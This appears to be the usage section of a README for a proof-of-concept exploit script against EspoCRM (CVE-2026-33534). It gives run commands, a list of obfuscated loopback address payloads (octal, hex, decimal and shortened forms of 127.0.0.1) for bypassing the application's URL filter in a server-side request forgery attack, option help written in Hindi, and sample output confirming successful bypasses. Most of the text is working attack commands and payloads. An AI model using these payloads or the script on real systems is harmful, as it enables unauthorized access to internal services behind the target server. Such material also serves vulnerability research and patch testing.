python3 -m pip install requests

python3 CVE-2026-33534.py \
  -u http://127.0.0.1:8083 \
  -U admin \
  -P 'Admin12345!' \
  --internal-port 8083 \
  --cleanup

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --internal-port 9002 \
  --internal-path /interno.png \
  --cleanup

python3 CVE-2026-33534.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --no-default-payloads \
  --payload 0x7f000001 \
  --payload 2130706433

0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1

host
label=host

hex-dword=0x7f000001
decimal-dword=2130706433

python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt

-u, --url                 आधार EspoCRM URL
-U, --username            EspoCRM उपयोगकर्ता नाम
-P, --password            EspoCRM पासवर्ड
--internal-port           फ़ेच करने के लिए आंतरिक लूपबैक पोर्ट
--internal-path           फ़ेच करने के लिए आंतरिक पथ
--payload                 अतिरिक्त लूपबैक होस्ट नोटेशन
--payload-file            प्रति पंक्ति एक होस्ट पेलोड वाली फ़ाइल
--no-default-payloads     केवल कस्टम पेलोड का उपयोग करें
--field                   अटैचमेंट फ़ील्ड, डिफ़ॉल्ट: avatar
--parent-type             पैरेंट इकाई प्रकार, डिफ़ॉल्ट: User
--parent-id               वैकल्पिक पैरेंट इकाई आईडी
--cleanup                 सफल पेलोड द्वारा बनाए गए अटैचमेंट हटाएं
--stop-on-first           पहले सफल बाईपास के बाद रुकें
--insecure                TLS प्रमाणपत्र सत्यापन अक्षम करें

[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted             0177.0.0.1        HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword                0x7f000001        HTTP 200 id=... type=image/svg+xml size=4438

[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12